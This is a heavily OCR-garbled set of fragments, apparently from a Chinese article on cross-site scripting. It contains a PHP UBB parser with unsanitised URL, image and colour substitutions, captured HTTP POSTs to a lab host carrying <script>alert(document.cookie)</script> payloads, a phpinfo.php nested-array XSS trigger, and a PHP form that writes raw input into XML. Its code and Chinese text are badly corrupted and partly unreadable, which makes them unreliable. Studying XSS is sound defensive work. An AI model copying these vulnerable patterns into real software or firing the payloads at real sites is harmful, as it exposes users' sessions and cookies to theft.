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function ubb (§text) {

$text=trim($text) ;
$Text=ereg replace ("\n”, "<br>”, $Text) ;
$Text=preg replace ("/\\t/is”,” 7, $Text) ;



$Text=preg replace ("/\[h1\] (. +2)\[\/h1\]/is”, "<h1>\\1</h1>”, §Text) ;
$Text=preg replace (“/\[h2\] (. +?2)\[\/h2\1/is”, "<h2>\\1</h2>”, $Text) ;
$Text=preg replace ("/\[h3\] (. +2)\[\/h3\]/is”, "<h3>\\1<{/h3>”, §Text) ;
$Text=preg replace (“/\[h4\] (. +?2)\[\/h4\1/is”, "<h4>\\1</h4>”, $Text) ;
$Text=preg replace ("/\[h5\] (. +?2)\[\/h5\]1/is”, "<h5>\\1</h5>”, $Text) ;
$Text=preg replace (“/\[h6\] (. +2)\[\/h6\]/is”, ”<h6>\\1</h6> $Text) ;
$Text=preg replace ("/\[center\] (. +?2)\[\/center\]/is”, <center>\\1</center> $Text) ;
$Text=preg replace ("/\[url\] (http:\/\/. +2)\[\/url\]/is”, "<a href= \\1>\\1</a> $Text) ;
$Text=preg replace ("/\[url\] (. +?)\[\/url\]/is”, "<a hrefZ\”http://\\1\”>http://
\\1</a>”, $Text) ;
$Text=preg replace ("/\[url=(http:\/\/. +2)\] C)\[\/url\]/is”, "<a href=\\1>\\2</a>”, $Text) ;
$Text=preg replace ("/\[url=(+2)\] ¢ \[\/url\]l/is”, "<a href=http://\\1>\\2</a>”, $Text) ;
$Text=preg replace ("/\[img\] (. +2)\[\/img\]/is”, "<img src=\\1>", $Text) ;
$Text=preg replace ("/\[color=( +?)\] (. +?)\[\/color\]/is”, "<font
color=\\1>\\2</font>”, $Text) :
$Text=preg replace ("/\[size=(. +2)\] ( +?)\[\/size\]l/is”, "<font size=\\1>\\2</font>”, $Text) ;

Return $text;
?>
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HTTP - Hyper Text Transfer Protocol

HTTP Command: POST
URI: /xblog/insert. php
HTTP Version: HTTP/1. 1<CR><LF>
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x—

shockwave—flash, application/vnd.ms—excel, application/vnd.ms—powerpoint, application/msword,
*/%{CRO><LF>

Referer: http://192.168. 13. 216/xblog/creatnew. php?1d=4<CR><LF>
Accept-Language: zh—cn<CR><LF>

Content-Type: application/x—www—form—urlencoded<CR><LF>

Accept—Encoding: gzip, deflate<CR><LF>

User—Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR

1. 1. 4322) <CR><LF>
Host: 192. 168. 13. 216<CR><LF>



Content-Length: 105<CR><LF>

Connection: Keep—Alive<CR><LF>
Cache—Control: no—cache<CR><LF><CR><LF>
Line 1: id=4&author=%D0%FD%C4%BE%C4%BE&title=eee&content=111%3Cscript%
3Ealert%28document
Line . cookie%29%3C%h2Fscript%3E
FCS - Frame Check Sequence
FCS: 0x89D1A7DB Calculated
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HTTP - Hyper Text Transfer Protocol

HTTP Command: POST
URI: /sqll/post. php
HTTP Version: HTTP/1. 1<CR><LF>
Accept: image/gif, image/x—xbitmap, image/jpeg, image/pjpeg, application/x—

shockwave—flash, application/vnd.ms—excel, application/vnd.ms—powerpoint, application/msword,
*/%<{CRY><LF>

Referer: http://192. 168. 13. 216/sql1/post. php<CR><LF>

Accept-Language: zh—cn<CR><LF>

Content-Type: multipart/form-data; boundary=

7d822d8550650<CR><LF>
Accept—-Encoding: gzip, deflate<CR><LF>
User—Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SVI; .NET CLR
1. 1. 4322) <CR><LF>

Host: 192. 168. 13. 216<CR><LF>

Content-Length: 384<CR><LF>

Connection: Keep—Alive<CR><LE>

Cache—Control: no—cache<{CR>XLF><CR><LF>
Line 1: 7d822d8550650<CR><LF>
Line 2: Content—-Disposition: form—-data; name="action”<CR><LF><CR><LF>
Line 3: post<CR><LF>
Line 4: 7d822d8550650<CR><LF>
Line 5: Content—-Disposition: form—data; name="username”<CR><LE><CR><LF>
Line 6: 333<CR><LF>
Line 7: 7d822d8550650<CR><LF>
Line 8: Content—-Disposition: form—data; name="pagetext”<CR><LF><CR><LF>
Line 9: 333<scriptralert (document. cookie) </script><CR><LF>
Line 10: 7d822d8550650——<CR><LF>

FCS - Frame Check Sequence
FCS: 0xAE3B0OD65 Calculated
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file: standard/info.c
—630-636——
php print gpcse array(” REQUEST”, sizeof(” REQUEST”)—-1 TSRMLS CC) ;
php print gpcse array(” GET”, sizeof(” GET”)-1 TSRMLS CC);
php print gpcse array(” POST”, sizeof(” POST”)-1 TSRMLS CC);
php_print gpcse array(” FILES”, sizeof (" FILES”)-1 TSRMLS CC);
php print gpcse array(” COOKIE”, sizeof(” COOKIE”)-1 TSRMLS CC):
php_print_gpcse array(” SERVER”, sizeof (" SERVER”)-1 TSRMLS CC) ;
php print gpcse array(” ENV”, sizeof (" ENV”)-1 TSRMLS CC);
—630-636——

Function php print gpcse array() for any arrays check 4096b of varible.

file: standard/info.c

——135-154—
if (Z TYPE PP (tmp) == IS ARRAY) {
zval *tmp3;
MAKE STD ZVAL (tmp3) ;
if (!sapi_module. phpinfo as text) {
PUTS ("<pre>”) ;
}
php start ob buffer (NULL, 4096, 1 TSRMLS CC);
zend print_zval r(ktmp, 0);
php ob get buffer (tmp3 TSRMLS CC);
php_end_ob_buffer (0, 0 TSRMLS_CC) ;
elem esc = php_info html esc(Z STRVAL P (tmp3) TSRMLS CC) ;
PUTS (elem esc) ;
efree(elem esc);
zval ptr_ dtor (&tmp3) ;
if (!sapi_module. phpinfo as text) {
PUTS ("</pre>”) ;
}
} else if (Z TYPE PP(tmp) != IS STRING) |
—135-154——

T I #Ephp_print_gpese_array B3, % pREFT I HH630-6364T I #4521 AR &,
HEFTER SRR LT NEUH, FHilidphp start ob buffer REESEATIH T T 4096
TGN, MG EATE5E4096 T M X G, 2 G T TPl A S A, XSSiEa)nl
PAE IR G A3 BN PAT o MR v



: ?hpinfo.php?cx[][][][J[][][][][][][][][J[][][][][][][][][J[][][][][][][][][][][][][][][]:
XSS
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: AFAAcgB1AGUAYgBhACCcAKQA=&#xA;” w:id="Defaul tOcxName” w:name="DefaultOcxName”
w:classid="CLSID:AE24FDAE-03C6-11D1-8B76-0080C744F389” w:w="200" w:h="123"
wx : iPersistPropertyBag="true”/>
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<?
echo $form="<form action=\"\" method=\"POST\”>
dinput type=\"text\” name=title><br>
{textarea name=content cols="40" rows="5"><{/textarea><br>
dinput type=submit value=\"submit\”>
</form>”;
$title=$ POST["title”];
$content=$ POST[”content”];

$data = “<?xml version=\"1.0\" encoding=\"gb2312\"?>\n";
$data. = "<root>\n”;

$data. = "<titled”. $title. "</title>\n”;

$data. = “<![CDATAL”. $content. "]]>\n";

$data. = “</root>\n”;

$fp = @fopen (“te.xml”, “r+”);
@fwrite ($fp, $data);
@fclose ($fp):
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